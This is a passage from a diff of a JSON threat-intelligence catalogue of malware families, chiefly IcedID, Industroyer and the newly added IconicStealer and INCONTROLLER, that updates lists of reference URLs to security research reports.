"https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", - "https://www.youtube.com/watch?v=YEqLIR6hfOM", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://www.youtube.com/watch?v=wMXD4Sv1Alw", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://www.youtube.com/watch?v=7Dk7NkIbVqY", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/", - "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/", - "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://eln0ty.github.io/malware%20analysis/IcedID/", - "https://www.group-ib.com/blog/icedid", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", - "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", - "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", - "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://ceriumnetworks.com/threat-of-the-month-icedid-malware/", - "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", - "https://thedfirreport.com/2022/04/25/quantum-ransomware/", - "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", - "https://forensicitguy.github.io/analyzing-icedid-document/", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", + "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", + "https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://drive.google.com/file/d/1jB0CsDvAADSrBeGxoi5gzyx8eQIiOJ2G/view", "https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", - "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", + "https://isc.sans.edu/diary/29740", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", "https://github.com/f0wl/deICEr", - "https://cert.gov.ua/article/39609", - "https://www.secureworks.com/research/threat-profiles/gold-swathmore", - "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", - "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", + "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", + "https://eln0ty.github.io/malware%20analysis/IcedID/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://blog.group-ib.com/prometheus-tds", + "https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/", "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", - "https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/", - "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", - "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", - "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", - "https://isc.sans.edu/diary/rss/28934", + "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://github.com/telekom-security/icedid_analysis", + "https://research.loginsoft.com/threat-research/icedid-malware-traversing-through-its-various-incarnations/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://twitter.com/embee_research/status/1592067841154756610?s=20", + "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://isc.sans.edu/diary/Google+ads+lead+to+fake+software+pages+pushing+IcedID+Bokbot/29344", + "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", + "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", + "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", "https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/", + "https://malwation.com/icedid-malware-technical-analysis-report/", + "https://www.youtube.com/watch?v=YEqLIR6hfOM", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", + "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.binarydefense.com/icedid-gziploader-analysis/", + "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", + "https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan", + "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/", + "https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b", + "https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/", + "https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", + "https://unit42.paloaltonetworks.com/ta551-shathak-icedid/", + "https://blog.google/threat-analysis-group/initial-access-broker-repurposing-techniques-in-targeted-attacks-against-ukraine/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", + "https://nikpx.github.io/malware/analysis/2022/03/09/BokBot", + "https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://forensicitguy.github.io/analyzing-icedid-document/", + "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", + "https://www.group-ib.com/blog/icedid", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://thedfirreport.com/2021/05/12/conti-ransomware/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/", + "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", + "https://ceriumnetworks.com/threat-of-the-month-icedid-malware/", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://dshield.org/diary/Recent+IcedID+Bokbot+activity/29740/", + "https://cert.gov.ua/article/39609", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://twitter.com/embee_research/status/1592067841154756610?s=20&t=hEALPAWr1LIt9pXcVpxjRQ", + "https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id", + "https://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "https://team-cymru.com/blog/2021/05/19/tracking-bokbot-infrastructure/", + "https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html", + "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.elastic.co/security-labs/icedids-network-infrastructure-is-alive-and-well", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes" + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", + "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", + "https://www.youtube.com/watch?v=oZ4bwnjcXWg", + "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", + "https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/", + "https://twitter.com/Unit42_Intel/status/1645851799427874818", + "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html", + "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", + "https://www.team-cymru.com/post/from-chile-with-malware", + "https://www.trendmicro.com/en_ie/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html", + "https://medium.com/@dawid.golak/icedid-aka-bokbot-analysis-with-ghidra-560e3eccb766", + "https://www.youtube.com/watch?v=7Dk7NkIbVqY", + "https://www.youtube.com/watch?v=wMXD4Sv1Alw", + "https://tccontre.blogspot.com/2021/01/", + "https://www.f5.com/labs/articles/threat-intelligence/icedid-banking-trojan-uses-covid-19-pandemic-to-lure-new-victims", + "https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://www.netresec.com/?page=Blog&month=2022-10&post=IcedID-BackConnect-Protocol", + "https://netresec.com/?b=214d7ff", + "https://www.netresec.com/?page=Blog&month=2023-02&post=How-to-Identify-IcedID-Network-Traffic", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/", + "https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html", + "https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros", + "https://isc.sans.edu/diary/28636", + "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak", + "https://www.elastic.co/security-labs/unpacking-icedid", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", + "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", + "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html", + "https://isc.sans.edu/diary/rss/28934", + "https://www.youtube.com/watch?v=wObF9n2UIAM", + "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", + "https://isc.sans.edu/diary/IcedID+%28Bokbot%29+with+Dark+VNC+and+Cobalt+Strike/28884", + "https://blog.minerva-labs.com/icedid-maas", + "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back" ], "synonyms": [ "BokBot", @@ -27071,9 +28630,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://threatray.com/blog/a-new-icedid-gziploader-variant/", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/" + "https://threatray.com/blog/a-new-icedid-gziploader-variant/" ], "synonyms": [], "type": [] @@ -27086,12 +28645,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", - "http://www.kz-cert.kz/page/502", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", + "http://www.kz-cert.kz/page/502", + "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko" ], "synonyms": [ "Fucobha" @@ -27119,10 +28678,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix", - "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/", "https://www.virusbulletin.com/virusbulletin/2012/08/inside-ice-ix-bot-descendent-zeus", - "https://securelist.com/ice-ix-not-cool-at-all/29111/" + "https://securelist.com/ice-ix-not-cool-at-all/29111/", + "https://securelist.com/ice-ix-the-first-crimeware-based-on-the-leaked-zeus-sources/29577/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/zeus-gets-another-update/" ], "synonyms": [], "type": [] @@ -27143,6 +28702,23 @@ "uuid": "4f7ae3da-948c-4f74-8229-d5d7461f9c7d", "value": "IconDown" }, + { + "description": "Follow-up payload in 3CX supply chain incident, which according to Volexity is an infostealer collecting information about the system and browser using an embedded copy of the SQLite3 library.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", + "https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", + "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", + "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "24fed92f-7e8f-449f-857f-d409d3bf8b48", + "value": "IconicStealer" + }, { "description": "", "meta": { @@ -27175,10 +28751,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff", - "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf" + "https://www.trustwave.com/Resources/SpiderLabs-Blog/The-Curious-Case-of-the-Malicious-IIS-Module/" ], "synonyms": [], "type": [] @@ -27206,8 +28782,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imecab", - "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/leafminer-espionage-middle-east", + "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" ], "synonyms": [], "type": [] @@ -27220,16 +28796,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.imminent_monitor_rat", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", - "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", - "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", - "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/", + "https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", + "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/", "https://www.politie.nl/nieuws/2021/mei/19/04-aanhouding-in-onderzoek-naar-cybercrime.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt" + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://www.tripwire.com/state-of-security/featured/man-jailed-using-webcam-rat-women-bedrooms/" ], "synonyms": [], "type": [] @@ -27250,6 +28826,20 @@ "uuid": "5f688e85-5f33-4ae6-880a-fc2e5146dd28", "value": " Immortal Stealer" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.incontroller", + "https://www.mandiant.com/resources/blog/cyber-operations-russian-vulkan", + "https://twitter.com/silascutler/status/1514366443277766656" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3ed3e880-1b93-4ca2-9e9d-0e429c4c895f", + "value": "INCONTROLLER" + }, { "description": "Keylogger written in Visual Basic dating back to at least 2012.", "meta": { @@ -27296,26 +28886,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer", - "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", - "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", - "https://en.wikipedia.org/wiki/Industroyer", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://cert.gov.ua/article/39518", - "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", - 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"https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/", + "https://www.virusbulletin.com/conference/vb2017/abstracts/last-minute-paper-industroyer-biggest-threat-industrial-control-systems-stuxnet/", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", + "https://hub.dragos.com/hubfs/Whitepaper-Downloads/Dragos_Manufacturing%20Threat%20Perspective_1120.pdf", + "https://en.wikipedia.org/wiki/Industroyer", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", 